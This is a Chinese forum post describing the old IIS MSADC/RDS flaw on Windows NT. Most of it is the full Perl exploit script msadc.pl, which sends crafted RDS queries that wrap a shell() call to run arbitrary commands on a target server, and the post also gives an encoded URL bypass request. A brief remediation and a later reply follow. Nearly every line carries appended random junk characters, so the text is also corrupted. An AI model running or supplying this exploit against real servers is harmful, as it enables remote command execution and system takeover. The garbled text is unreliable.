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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) Jv^cOc  
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涉及程序: Ms'TC; &PS  
Microsoft NT server `Ivw`}L  
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描述: ?WQd  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 -8Jl4F ,  
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详细: r5!x,{E6  
如果你没有时间读详细内容的话,就删除: <m /b]|  
c:\Program Files\Common Files\System\Msadc\msadcs.dll ;Ma/b=Y  
有关的安全问题就没有了。 HEB/\  
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微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 E/8u'  
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1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 : >wQwf  
关于利用ODBC远程漏洞的描述,请参看: MX`Wg  
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http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm h%1~v$W`  
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2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 x?f0Hk+  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp UR/qVO?  
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这里不再论述。 qJ X+[PJ  
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3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: ~X~xE]1o|U  
8_<&f%/  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset Z[})40[M  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! ^x_ >r6  
M2;%1^  
>w2Q 1!  
#将下面这段保存为txt文件,然后: "perl -x 文件名"  `CA G8D  
O>SuZ>g+7  
#!perl dXhCyr%"6  
# C7b 5%a!  
# MSADC/RDS 'usage' (aka exploit) script - - i&"  
# @Xq&t}*8  
# by rain.forest.puppy VBbUl|X\  
# !@^y)v  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me XN~#gm#  
# beta test and find errors! q,;".3VQ  
DOF?(:8Y  
use Socket; use Getopt::Std; Avs7(-L+s  
getopts("e:vd:h:XR", \%args); Y)Znb;`?a  
~A[YnJYA#  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; Kf05<J!  
& %N(kyp  
if (!defined $args{h} && !defined $args{R}) { UM4 @H1  
print qq~ y3={NB+  
Usage: msadc.pl -h <host> { -d <delay> -X -v } gro7*<  
-h <host> = host you want to scan (ip or domain) C 'B4 mmC  
-d <seconds> = delay between calls, default 1 second '?{0z!!  
-X = dump Index Server path table, if available 69[V <1  
-v = verbose <CNE>@-f  
-e = external dictionary file for step 5 |u^)RB  
i(M(OR/4  
Or a -R will resume a command session Ud>`@2  
xHEVR!&c4  
~; exit;} zQL!(2  
e Z@Gu  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; nmD1C_&  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} vQ:x% =]  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} VFilF<jvu  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); \3%W_vU_  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} 'is,^q:@  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } i'Y-V]->  
2yl6~(JC+  
if (!defined $args{R}){ $ret = &has_msadc; ISpeV  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} ?D1x;i9<  
536^PcJlN  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" IM[54_I  
. "cmd /c "; pt=7~+r  
$in=<STDIN>; chomp $in; 2#'rk'X,K  
$command="cmd /c " . $in ; L&:M8xiA~$  
+7Sf8tg\  
if (defined $args{R}) {&load; exit;} ~@%(RMJm&  
NV&;e[z  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; h^['rmd  
&try_btcustmr; |)^clkuGX  
"w;08TX8  
print "\nStep 2: Trying to make our own DSN..."; :0B |<~lX  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; 3|q2rA  
HvAE,0N  
print "\nStep 3: Trying known DSNs..."; lxm*;?j`W  
&known_dsn; ; Zh9^0  
XQK^$Iq]V  
print "\nStep 4: Trying known .mdbs..."; c L?\^K)  
&known_mdb; 9Kc0&?q@D  
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if (defined $args{e}){  W|lH   
print "\nStep 5: Trying dictionary of DSN names..."; lrCm9Oy  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } )y6QAp  
*:?QB8YJ  
print "Sorry Charley...maybe next time?\n"; }bZ 8-v  
exit; v,n);  
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############################################################################## <[bQo&B2 E  
kl| g  
sub sendraw { # ripped and modded from whisker T]^?l  
sleep($delay); # it's a DoS on the server! At least on mine... Cm^Yl p  
my ($pstr)=@_; T&]Na  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || HHZ`%  
die("Socket problems\n"); _0w1 kqW  
if(connect(S,pack "SnA4x8",2,80,$target)){ VXiui'/(  
select(S); $|=1; { AFf:[G  
print $pstr; my @in=<S>; Umij!=GPG^  
select(STDOUT); close(S); B<Ol+)@,}  
return @in; nQ|GqU\oA  
} else { die("Can't connect...\n"); }} i)=m7i  
18jJzYawh  
############################################################################## )5U !>,fT  
jg?bf/$s  
sub make_header { # make the HTTP request AHq M7+r9  
my $msadc=<<EOT 3eWJt\}?B  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 2_ wv C  
User-Agent: ACTIVEDATA ka/nQ~_#<  
Host: $ip oI*d/*  
Content-Length: $clen $_wo6/J5+D  
Connection: Keep-Alive MBlBMUJk  
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ADCClientVersion:01.06 B4IBuS  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 hzv3F9.x  
X6'H`E[  
--!ADM!ROX!YOUR!WORLD! Oc#>QZ3  
Content-Type: application/x-varg >:A<"wZ  
Content-Length: $reqlen r5[4h'f  
)Z("O[  
EOT .8K6C]gw  
; $msadc=~s/\n/\r\n/g; cu)U7  
return $msadc;} RB IOdz  
5} G:D  
############################################################################## mf$Sa58  
zz&vfO31J  
sub make_req { # make the RDS request C!5I?z&  
my ($switch, $p1, $p2)=@_; 5?w.rcN[j  
my $req=""; my $t1, $t2, $query, $dsn; W+K.r?G<j  
)(lJT&e  
if ($switch==1){ # this is the btcustmr.mdb query Ia#"/`||  
$query="Select * from Customers where City=" . make_shell(); G0Hs,B@5?  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . W tVf wC_  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} V:OiW"/  
'$?du~L-  
elsif ($switch==2){ # this is general make table query Kr]z]4.d@  
$query="create table AZZ (B int, C varchar(10))"; eVx~n(m!}  
$dsn="$p1";} V 9Hl1\j^  
t0.;nv@A0  
elsif ($switch==3){ # this is general exploit table query b)`pZiQP  
$query="select * from AZZ where C=" . make_shell(); *7Xzht&f  
$dsn="$p1";} 7E\g &R.  
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elsif ($switch==4){ # attempt to hork file info from index server lm*g Gy1i  
$query="select path from scope()"; Mb.4J2F?  
$dsn="Provider=MSIDXS;";} !3V{2-y$-  
X8Fzs!L`  
elsif ($switch==5){ # bad query Pj&A=  
$query="select"; v%nP*i9  
$dsn="$p1";} X$^JAZ09  
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$t1= make_unicode($query); s4bv;W  
$t2= make_unicode($dsn); 8#l+{`$z  
$req = "\x02\x00\x03\x00"; #1gO?N(<=  
$req.= "\x08\x00" . pack ("S1", length($t1)); N571s  
$req.= "\x00\x00" . $t1 ; (hN?:q?'  
$req.= "\x08\x00" . pack ("S1", length($t2)); c0ZaFJ  
$req.= "\x00\x00" . $t2 ; "mA1H]r3  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; ]-bQNYKX  
return $req;} |IN[uQ  
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############################################################################## uY]0dyI  
^1 ;BiQ  
sub make_shell { # this makes the shell() statement ZLrHZhP-+  
return "'|shell(\"$command\")|'";} NbkK&bz  
(:7a&2/M  
############################################################################## jT-<IJh!o  
oj@g2H5P  
sub make_unicode { # quick little function to convert to unicode =$&&[&  
my ($in)=@_; my $out; `tVy_/3(9  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } :c:V%0Yji  
return $out;} ;_N5>3C:  
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############################################################################## (f>M &..  
2y%R:Mu  
sub rdo_success { # checks for RDO return success (this is kludge) 2Wl{Br.  
my (@in) = @_; my $base=content_start(@in); GHG,!C  
if($in[$base]=~/multipart\/mixed/){ oKa>.e7.  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} U\bC0q   
return 0;} YPEnNt+  
N2FbrfNFa  
############################################################################## q.T:0|  
P=gJAE5  
sub make_dsn { # this makes a DSN for us tvpN/p  
my @drives=("c","d","e","f"); :0I l|aB  
print "\nMaking DSN: "; 6bL~6-h%)  
foreach $drive (@drives) { %/pc=i|+  
print "$drive: "; DFy1 bg  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . -Qb0:]sV#  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" -_>.f(1  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); A ~&+F>Z  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; ?cK]C2Ak  
return 0 if $2 eq "404"; # not found/doesn't exist 9/3;{`+[a  
if($2 eq "200") { X-/Ban  
foreach $line (@results) { y6%<zhs  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} (B}+h   
} return 0;} qm%nIU \*  
: Ss3ck*=  
############################################################################## KB[QZ`"%!  
Y /lN@  
sub verify_exists { ;_tO+xL&  
my ($page)=@_; X| <yq  
my @results=sendraw("GET $page HTTP/1.0\n\n"); ~L'nz quF  
return $results[0];} ~gddcTp  
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############################################################################## % wL,v.}  
*Hunp Y  
sub try_btcustmr { TB#N k5  
my @drives=("c","d","e","f"); P4 6,o  
my @dirs=("winnt","winnt35","winnt351","win","windows"); ipZHSA  
7#pZa.B)k  
foreach $dir (@dirs) { zYr z08PJ  
print "$dir -> "; # fun status so you can see progress ikHOqJ-,m  
foreach $drive (@drives) { /b{HG7i\  
print "$drive: "; # ditto .Dx2 ;lj  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; J"&y |; G  
$reqlenlen=length( "$reqlen" ); l%<c6;  
$clen= 206 + $reqlenlen + $reqlen; @vAFfYU9<.  
`bqzg  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); M/B/b<['  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} 4z0L ke  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} >{XScxaB`  
m6MaX}&zv  
############################################################################## -u~eZ?(!Ye  
O`(U/?   
sub odbc_error { =4>@8=JA  
my (@in)=@_; my $base; } 07r  
my $base = content_start(@in); Ja [#[BJ?  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this FL&dv  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; SQ<f  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; jw4TLc7p  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; bA *"ei+!  
return $in[$base+4].$in[$base+5].$in[$base+6];} UABbcNW  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; 'tuBuYD\  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . ]]y[t|6  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} (9'be\  
6t$N78U  
############################################################################## pVz*ZQ[]  
BS.=  
sub verbose { +XQP jg  
my ($in)=@_; 3+zzi  
return if !$verbose; 5rN7':(H!%  
print STDOUT "\n$in\n";} w%2ziwgh  
AY;<q$8j%,  
############################################################################## xB,/dMdTj  
;qb Dbg  
sub save { 8]]@S"ZM,\  
my ($p1, $p2, $p3, $p4)=@_; 5L3{w+V  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; #JFYws  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; oG\>--  
close OUT;} l7~Pa0qD  
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############################################################################## #[(gIOrNn8  
XHNkQe  
sub load { WKOI\  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; WL/5 oj  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); vX 1W@s  
@p=<IN>; close(IN); //tT8HX  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); UOJ*a1BM  
$target= inet_aton($ip) || die("inet_aton problems"); b~9`]+  
print "Resuming to $ip ..."; xD^wTtT  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; D}Au6  
if($p[1]==1) { Iu%^*K%  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; 8W@dtZ,d  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; ph+M3q(z  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); ,3k@L\$.x  
if (rdo_success(@results)){print "Success!\n";} bw0 20@O*  
else { print "failed\n"; verbose(odbc_error(@results));}} ka8$dfC  
elsif ($p[1]==3){ Qxky^:B  
if(run_query("$p[3]")){ '(TmV#3  
print "Success!\n";} else { print "failed\n"; }} X*)?LxTj  
elsif ($p[1]==4){ ]2PQ X4t 0  
if(run_query($drvst . "$p[3]")){ V07VwVD  
print "Success!\n"; } else { print "failed\n"; }} n_1jHJo  
exit;} .Nk}Z9L]k  
%fBP:5%K  
############################################################################## r(]98a]o~  
TqXg e{r  
sub create_table { u?H@C)P  
my ($in)=@_; brj[c>ID  
$reqlen=length( make_req(2,$in,"") ) - 28; <8*A\&  
$reqlenlen=length( "$reqlen" ); ;}UzJe ,S  
$clen= 206 + $reqlenlen + $reqlen; 6-tiRk~  
my @results=sendraw(make_header() . make_req(2,$in,"")); NtqFnxm/  
return 1 if rdo_success(@results); C/bxfp{?  
my $temp= odbc_error(@results); verbose($temp); 27Cz1[oX  
return 1 if $temp=~/Table 'AZZ' already exists/; k?< i*;7  
return 0;} ?P%|P   
VZHr-z$6n  
############################################################################## q?(A!1(u  
(x}A_ i  
sub known_dsn { z1kBNOr  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go (VfwLo>#  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", Z>X9J(=  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", 1>hb-OMX  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); 1k$2LQ  
 ccRlql(  
foreach $dSn (@dsns) { )ni"qv~J  
print "."; :-(U%`a[  
next if (!is_access("DSN=$dSn")); E1#H{)G  
if(create_table("DSN=$dSn")){ 33*^($bE&  
print "$dSn successful\n"; 7qpzk7X?pR  
if(run_query("DSN=$dSn")){ E2h(w_l  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { vz- 9<w;>a  
print "Something's borked. Use verbose next time\n";}}} print "\n";} y:~eU  
L^6"' #  
############################################################################## I; ^xAd3G  
K1/ U (A  
sub is_access { I+*osk  
my ($in)=@_; ,?Ok[G!cm  
$reqlen=length( make_req(5,$in,"") ) - 28; BHEs+ e0  
$reqlenlen=length( "$reqlen" ); 2@rp<&s  
$clen= 206 + $reqlenlen + $reqlen; jMTRcj];(  
my @results=sendraw(make_header() . make_req(5,$in,"")); mluW=fE  
my $temp= odbc_error(@results); T:be 9 5!,  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); G}182"#4  
return 0;} n; Lo  
nWKO8C>  
############################################################################## _2wAaJvA  
7We?P,A\;  
sub run_query { :x8Jy4L  
my ($in)=@_; O'"YJ,  
$reqlen=length( make_req(3,$in,"") ) - 28; `Q:de~+AM{  
$reqlenlen=length( "$reqlen" ); Qk?jGXB>^  
$clen= 206 + $reqlenlen + $reqlen; i:C.8hmAE  
my @results=sendraw(make_header() . make_req(3,$in,"")); <9=zP/Q  
return 1 if rdo_success(@results); d,zp `S  
my $temp= odbc_error(@results); verbose($temp); V+Y|4Y&  
return 0;} " ]aQ Hh]f  
xt? 3_?1  
############################################################################## sGXp}{E9  
<l* agH-.3  
sub known_mdb { E%-Pyg*  
my @drives=("c","d","e","f","g"); Rbx97(wK  
my @dirs=("winnt","winnt35","winnt351","win","windows"); oxUE79  
my $dir, $drive, $mdb; i6-wf Gs;  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; _Syre6k  
3Cq6h;!#  
# this is sparse, because I don't know of many co \[{}}  
my @sysmdbs=( "\\catroot\\icatalog.mdb", =6.8bZT\  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", *>E I2HX  
"\\system32\\certmdb.mdb", lo\:]/&6  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% 6XQ*:N/4al  
D=jS h  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", q >Q:X3  
"\\cfusion\\cfapps\\forums\\forums_.mdb", 8:Z@lp^  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", *jYHd#UZx4  
"\\cfusion\\cfapps\\security\\realm_.mdb", i}.{m Et  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", bRx2 c  
"\\cfusion\\database\\cfexamples.mdb", G> f^ 2  
"\\cfusion\\database\\cfsnippets.mdb", r~ZS1Tp  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", %4bO_vb<9  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", L!CX &  
"\\cfusion\\brighttiger\\database\\cleam.mdb", `'z(--J}`  
"\\cfusion\\database\\smpolicy.mdb", 43vGgGW  
"\\cfusion\\database\cypress.mdb", M'pb8jf  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", z7O Z4R:  
"\\website\\cgi-win\\dbsample.mdb", A8=e?%  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", y0/WA4,  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" CBiU#h q  
); #these are just <dju6k7uz  
foreach $drive (@drives) { XkMs   
foreach $dir (@dirs){ 8QkWgd7y  
foreach $mdb (@sysmdbs) {  ioE66-n  
print "."; ti$oZ4PpF  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ h Jfa_  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; jxRF"GD  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ 'Qm` A=  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; :z0s*,QH  
} else { print "Something's borked. Use verbose next time\n"; }}}}} >i^y;5  
w.4u=e >Z4  
foreach $drive (@drives) { $nUd\B$.=  
foreach $mdb (@mdbs) { t_[M &  
print "."; [}W^4,  
if(create_table($drv . $drive . $dir . $mdb)){ r;&]?9)W0  
print "\n" . $drive . $dir . $mdb . " successful\n"; 3q~":bpAp  
if(run_query($drv . $drive . $dir . $mdb)){ 9@KUqoX  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; eT7!a']x  
} else { print "Something's borked. Use verbose next time\n"; }}}} k| _$R?  
} Wrf^O2  
<7_ |Q   
############################################################################## 9f\aoVX  
dWzDSlP&  
sub hork_idx { `^ieT#(O  
print "\nAttempting to dump Index Server tables...\n"; =:xV(GK}  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; A }>|tm7|  
$reqlen=length( make_req(4,"","") ) - 28; &&(4n?   
$reqlenlen=length( "$reqlen" ); )bB"12Z|8  
$clen= 206 + $reqlenlen + $reqlen; _aXP ;kFMi  
my @results=sendraw2(make_header() . make_req(4,"","")); l _kg3e4  
if (rdo_success(@results)){ <Um1h:^   
my $max=@results; my $c; my %d; }aHB$}"!  
for($c=19; $c<$max; $c++){ C?GvTc  
$results[$c]=~s/\x00//g; 8Pr&F  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; 8]cv&d1f  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; 8! |.H p  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; VYl_U?D  
$d{"$1$2"}="";} ?G~/{m.  
foreach $c (keys %d){ print "$c\n"; } I3}HNGvU  
} else {print "Index server doesn't seem to be installed.\n"; }} H{ n>KZ]\  
ue6/EN;}  
############################################################################## E)&NP}k-P  
)1ZJ  
sub dsn_dict { #hy5c,}>  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); %fn'iKCB  
while(<IN>){ m6~ sKJV  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; F"B<R~  
next if (!is_access("DSN=$dSn")); S7?f5ux   
if(create_table("DSN=$dSn")){ j:rs+1bc  
print "$dSn successful\n"; :,h=2a_ 8  
if(run_query("DSN=$dSn")){ hQg,#r(JE4  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { Pqr Ou  
print "Something's borked. Use verbose next time\n";}}} 3X-{2R/ 3  
print "\n"; close(IN);} r)9i1rI+  
K,lK\^y  
############################################################################## _H^^2#wc/  
7.lK$J:  
sub sendraw2 { # ripped and modded from whisker s]nGpA[!  
sleep($delay); # it's a DoS on the server! At least on mine... E i\J9zt  
my ($pstr)=@_; 2g ?Jb5)  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || b.mjQ  
die("Socket problems\n"); 2HvTM8  
if(connect(S,pack "SnA4x8",2,80,$target)){ eLDL  "L  
print "Connected. Getting data"; PK.h E{R  
open(OUT,">raw.out"); my @in; ]zhq.O >2{  
select(S); $|=1; print $pstr; |*]X\UE  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} 8r`VbgI&  
close(OUT); select(STDOUT); close(S); return @in; ~ X]"P4 u  
} else { die("Can't connect...\n"); }} MQ9M%>  
cdek^/  
############################################################################## T0*TTB&b  
y:i[~y  
sub content_start { # this will take in the server headers xvdnEaWe$  
my (@in)=@_; my $c; <M =W)2D7  
for ($c=1;$c<500;$c++) { $X.'W\o|  
if($in[$c] =~/^\x0d\x0a/){ '$kS]U  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } Tg <>B  
else { return $c+1; }}} %WJ{IXlz  
return -1;} # it should never get here actually =CG!"&T  
|$.sB|_ N  
############################################################################## 1v[#::Bs  
{R1Cxt}  
sub funky { 8,H#t@+MT  
my (@in)=@_; my $error=odbc_error(@in); :nbW.B3GV  
if($error=~/ADO could not find the specified provider/){ -pU\"$nuxH  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; \fM!^  
exit;} M$>WmG1~D  
if($error=~/A Handler is required/){ -+ IX[  
print "\nServer has custom handler filters (they most likely are patched)\n"; 8&2gM  
exit;} ( 7Ca\H3$  
if($error=~/specified Handler has denied Access/){ x w?9W4<  
print "\nServer has custom handler filters (they most likely are patched)\n"; G5XnGl }Q  
exit;}} ('o; M:  
o{-USUGj7  
############################################################################## e~2*> 5\:  
}07<(,0n  
sub has_msadc { m|Q&Lphb8  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); *{;A\sL  
my $base=content_start(@results); 6q  xUT  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); %. 6?\w1e  
return 0;} {7pE9R5  
c J"]yG)=  
######################## t-<[._:+  
;ijfI  
["#A-S  
解决方案: w3?t})PB&  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll C"m0"O>  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 ?=@Q12R)X  
``YL] <<  
拿出来充数 哈哈
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